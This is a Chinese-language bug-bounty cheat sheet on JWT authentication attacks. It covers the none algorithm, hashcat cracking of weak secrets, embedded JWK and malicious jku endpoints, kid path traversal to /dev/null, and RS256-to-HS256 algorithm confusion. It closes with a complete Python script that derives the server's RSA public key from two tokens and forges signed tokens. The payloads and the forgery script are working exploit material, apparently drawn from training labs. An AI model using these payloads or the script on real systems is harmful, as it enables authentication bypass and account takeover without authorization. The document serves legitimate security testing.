JWT认证漏洞

插件

安装burp插件 json web token即可

SRC挖掘

  • 检查是否有对签名做校验

  • 检查是否接受没有签名的jwt token

    设置alg为none,然后看能否认证通过,认证通过则代表存在漏洞

  • 检查jwt是否使用弱口令

    bp被动扫描会检测到是否使用弱口令秘钥,也可以使用hashcat(https://github.com/hashcat/hashcat/releases/tag/v6.2.6)进行弱口令爆破

    hashcat.exe -a 0 -m 16500 eyJraWQiOiJmYjM0ZGRjNi00NTgwLTQ2ZGItOGNhYS05MDdkZWM1ZWRkMDkiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc0MjI5NTc0NSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.h9G7j_VCiYvJPhO9rRmaBeTWDqAk5ovAr95w-u23mGw F:\payload\jwt.secrets.list
    
  • jwk嵌入检查:在jwt头嵌入公钥(JWK),使用私钥进行签名,然后将篡改的jwt发给系统,系统取出jwk并使用公钥校验签名,如果jwks端点是不受信任的,这么处理就会出问题,使用jwt editor即可完成攻击流程(生成RSA密钥对–》在json web token页签处选择攻击-embedded JWK)

  • jku嵌入检查:攻击者需要控制一个恶意 JWKS 端点,并在其中发布自己的公钥,然后在jwt header中添加jku参数指向恶意端点,然后签名并发送认证请求,认证通过即代表存在漏洞

    jwt header:

    {
        "kid": "36c2d367-edf4-41de-8e0f-b95b2fddfa84",
        "alg": "RS256",
        "jku": "https://exploit-0a10003b049a86ea82fa1acf017400e4.exploit-server.net/exploit"
    }
    

    嵌入的jku实际是一个url,这个url指向的是一个恶意的jwks端点

    jku端点内容:

    {
        "keys": [
    {
        "kty": "RSA",
        "e": "AQAB",
        "kid": "36c2d367-edf4-41de-8e0f-b95b2fddfa84",
        "n": "yARlIqDZVGx4XEgZdSNfk3uzBbbNkKG4-fiXBnO649Y5Rxo60_jI_wpou7Xdtk8syP-0J3afS40MCzmR9VtLSzFPgVfPSNO_bvkP9XWxHyXpJkJux_8gabfzWuOBRKPQWTWkVLUq109du0nf-BWClMJrttBMrox-NYOHWJ-0UCPgpOpp-0bs_w-cszhewpZtvt2oNlo0P3ahYa1zVWsSIiTiy_uM5_Kta8uPv0nWEA4dYdkdKJFLtau_3-kgSOCZgu0HwZy8tnc4KaN8nKCP7Nnd3DRdRHTEH9ASDSKzz1jt3TIHwd8qUQkMBxnbOwlgnsP5upf4wyLfTR28e8MQHw"
    }
        ]
    }
      
    

    其中keys列表中的部分是通过jwt editor 生成的公私钥对提取出来的(选中公私钥–》copy public key as jwk)

  • kid路径遍历检查:通过指定存放在服务器的恶意文件来加载密钥,密钥刚好被知道,那么攻击者可以通过jwt editor生成一组对称密钥,其中k替换为密钥值,然后攻击者就可以使用对称密钥进行自签名,从而绕过认证

    一般来说,kid可以设置为”../../../../../../../dev/null”,对称密钥的k值则设置为”AA==”即base64编码的null字节

  • 算法混淆检查:通过修改alg来绕过验证,可能是将alg设置为none,也可能是将RS256改为HS256

    常见获取jwks的端点:

    /jwks.json
    /.well-known/jwks.json
    /.well-known/openid-configuration
    

    还可以从证书中提取或者暴力破解(后面有说明)获取

    在将公钥(RSA-RS256)转换为对称密钥(HS256)的过程中,在对得到的pem公钥进行base64编码时需要在末尾加上换行符,比如

    -----BEGIN PUBLIC KEY-----
    MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmkKoVPzYppbJ99Wx7iH/
    y2XjlfsF7k96c0FKXvqWEber7wnqbTRmifo8ZrkqwwrWOqzvw9coS2ccPf2vhBvl
    J6I1XAvrThLqFB3hqpqqxhHj2Eij5JBDF09fDwy6oMeOKvU7Hcfn6Yu+Eyj2NsVQ
    6lGItjk1Lbs9VwGcSliBT4ufZZUnitDiQ5W26bfqoyVj/e/95HpBnQVWZRxtOA1B
    ZOneOg8J5vu6e4HtbPn55L+jkK8aK612nn8JxqXEgT0wXM0T0oyqGaVXDPGyFPA1
    WfmJjOhA1UWu554Y2VcRVBLu4lcTlnmrNvYTjGDJ7Hu2EqdF00RgrxYMOeIehzcK
    awIDAQAB
    -----END PUBLIC KEY-----
      
    

    不然会失败。

    alg从RS256混淆为HS256的大致流程就是:提取jwk公钥–》在jwt editor中创建新的RSA密钥–》以pem格式提取出公钥–》以base64编码公钥–》以编码后的公钥作为key创建新的对称密钥–》修改alg为HS256–》修改需要修改的内容–》使用该对称密钥进行签名得到新的jwt token

  • 暴力破解服务器公钥检查:

    • 获取两个有效但不同的jwt token并将他们作为jwt_forgery.py的入参

    • 输出结果如下:

      [+] Found n with multiplier 1  :
       0x909bbbxx...
      [+] Written to 909bbb7f51ed95dd_65537_x509.pem
      [+] Tampered JWT: b'eyJraWQiOiJhNWE3N2UxYi0yODBjLTQ2OGQtODE4OS0xOGFmMjRkOWVlMWIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc0MjYyNjg3MCwgInN1YiI6ICJ3aWVuZXIifQ.J-sKaoaQ6xKaEULvCn2Y0veX0oUuX2IHiLX5D3KSK5E'
      [+] Written to 909bbb7f51ed95dd_65537_pkcs1.pem
      [+] Tampered JWT: b'eyJraWQiOiJhNWE3N2UxYi0yODBjLTQ2OGQtODE4OS0xOGFmMjRkOWVlMWIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc0MjYyNjg3MCwgInN1YiI6ICJ3aWVuZXIifQ.1V3-3iwSUqV3Q08RIMhIPZnR33W8N88ZudE5MAHZO5I'
      ================================================================================
      

      从上面的909bbb7f51ed95dd_65537_x509.pem获取公钥

    • jwt_forgery.py的地址:https://github.com/silentsignal/rsa_sign2n,经过修改后的jwt_forgery.py:

      # 提供两个有效的jwt token作为入参,适用于jwt 的RS256、RS384、RS512
          
      import sys
      import json
      import base64
      from gmpy2 import mpz, gcd, c_div
      import binascii
      from Cryptodome.Hash import SHA256, SHA384, SHA512
      from Cryptodome.Signature import pkcs1_15
      import asn1tools
      import binascii
      import time
      import hmac
      import hashlib
          
          
      def b64urldecode(b64):
          return base64.urlsafe_b64decode(b64 + ("=" * (len(b64) % 4)))
          
          
      def b64urlencode(m):
          return base64.urlsafe_b64encode(m).strip(b"=")
          
          
      def bytes2mpz(b):
          return mpz(int(binascii.hexlify(b), 16))
          
          
      def der2pem(der, token="RSA PUBLIC KEY"):
          der_b64 = base64.b64encode(der).decode('ascii')
          
          lines = [der_b64[i:i + 64] for i in range(0, len(der_b64), 64)]
          return "-----BEGIN %s-----\n%s\n-----END %s-----\n" % (token, "\n".join(lines), token)
          
          
      def forge_mac(jwt0, public_key):
          jwt0_parts = jwt0.encode('utf8').split(b'.')
          jwt0_msg = b'.'.join(jwt0_parts[0:2])
          
          alg = b64urldecode(jwt0_parts[0].decode('utf8'))
          # Always use HS256
          alg_tampered = b64urlencode(alg.replace(b"RS256", b"HS256").replace(b"RS384", b"HS256").replace(b"RS512", b"HS256"))
          
          payload = json.loads(b64urldecode(jwt0_parts[1].decode('utf8')))
          payload['exp'] = int(time.time()) + 86400
          # print(payload)
          
          payload_encoded = b64urlencode(json.dumps(payload).encode('utf8'))
          
          tamper_hmac = b64urlencode(
              hmac.HMAC(public_key, b'.'.join([alg_tampered, payload_encoded]), hashlib.sha256).digest())
          
          jwt0_tampered = b'.'.join([alg_tampered, payload_encoded, tamper_hmac])
          print("[+] Tampered JWT: %s" % (jwt0_tampered))
          return jwt0_tampered
          
          
      # e=mpz(65537) # Can be a couple of other common values
          
      jwt0 = sys.argv[1]
      jwt1 = sys.argv[2]
          
      alg0 = json.loads(b64urldecode(jwt0.split('.')[0]))
      alg1 = json.loads(b64urldecode(jwt1.split('.')[0]))
          
      if not alg0["alg"].startswith("RS") or not alg1["alg"].startswith("RS"):
          raise Exception("Not RSA signed tokens!")
      if alg0["alg"] == "RS256":
          HASH = SHA256
      elif alg0["alg"] == "RS384":
          HASH = SHA384
      elif alg0["alg"] == "RS512":
          HASH = SHA512
      else:
          raise Exception("Invalid algorithm")
      jwt0_sig_bytes = b64urldecode(jwt0.split('.')[2])
      jwt1_sig_bytes = b64urldecode(jwt1.split('.')[2])
      if len(jwt0_sig_bytes) != len(jwt1_sig_bytes):
          raise Exception("Signature length mismatch")  # Based on the mod exp operation alone, there may be some differences!
          
      jwt0_sig = bytes2mpz(jwt0_sig_bytes)
      jwt1_sig = bytes2mpz(jwt1_sig_bytes)
          
      jks0_input = ".".join(jwt0.split('.')[0:2])
      hash_0 = HASH.new(jks0_input.encode('ascii'))
      padded0 = pkcs1_15._EMSA_PKCS1_V1_5_ENCODE(hash_0, len(jwt0_sig_bytes))
          
      jks1_input = ".".join(jwt1.split('.')[0:2])
      hash_1 = HASH.new(jks1_input.encode('ascii'))
      padded1 = pkcs1_15._EMSA_PKCS1_V1_5_ENCODE(hash_1, len(jwt0_sig_bytes))
          
      m0 = bytes2mpz(padded0)
      m1 = bytes2mpz(padded1)
          
      pkcs1 = asn1tools.compile_files('pkcs1.asn', codec='der')
      x509 = asn1tools.compile_files('x509.asn', codec='der')
          
      jwts = []
          
      for e in [mpz(3), mpz(65537)]:
          gcd_res = gcd(pow(jwt0_sig, e) - m0, pow(jwt1_sig, e) - m1)
          # To speed things up switch comments on prev/next lines!
          # gcd_res = mpz(0x143f02c15c5c79368cb9d1a5acac4c66c5724fb7c53c3e048eff82c4b9921426dc717b2692f8b6dd4c7baee23ccf8e853f2ad61f7151e1135b896d3127982667ea7dba03370ef084a5fd9229fc90aeed2b297d48501a6581eab7ec5289e26072d78dd37bedd7ba57b46cf1dd9418cd1ee03671b7ff671906859c5fcda4ff5bc94b490e92f3ba9739f35bd898eb60b0a58581ebdf14b82ea0725f289d1dac982218d6c8ec13548f075d738d935aeaa6260a0c71706ccb8dedef505472ce0543ec83705a7d7e4724432923f6d0d0e58ae2dea15f06b1b35173a2f8680e51eff0fb13431b1f956cf5b08b2185d9eeb26726c780e069adec0df3c43c0a8ad95cbd342)
          print("[*] GCD: ", hex(gcd_res))
          for my_gcd in range(1, 100):
              my_n = c_div(gcd_res, mpz(my_gcd))
              if pow(jwt0_sig, e, my_n) == m0:
                  print("[+] Found n with multiplier", my_gcd, " :\n", hex(my_n))
                  pkcs1_pubkey = pkcs1.encode("RSAPublicKey", {"modulus": int(my_n), "publicExponent": int(e)})
                  x509_der = x509.encode("PublicKeyInfo",
                                         {"publicKeyAlgorithm": {"algorithm": "1.2.840.113549.1.1.1", "parameters": None},
                                          "publicKey": (pkcs1_pubkey, len(pkcs1_pubkey) * 8)})
                  pem_name = "%s_%d_x509.pem" % (hex(my_n)[2:18], e)
                  with open(pem_name, "wb") as pem_out:
                      public_key = der2pem(x509_der, token="PUBLIC KEY").encode('ascii')
                      pem_out.write(public_key)
                      print("[+] Written to %s" % (pem_name))
                      jwts.append(forge_mac(jwt0, public_key))
                  pem_name = "%s_%d_pkcs1.pem" % (hex(my_n)[2:18], e)
                  with open(pem_name, "wb") as pem_out:
                      public_key = der2pem(pkcs1_pubkey).encode('ascii')
                      pem_out.write(public_key)
                      print("[+] Written to %s" % (pem_name))
                      jwts.append(forge_mac(jwt0, public_key))
          
      print("=" * 80)
      print("Here are your JWT's once again for your copypasting pleasure")
      print("=" * 80)
      for j in jwts:
          print(j.decode('utf8'))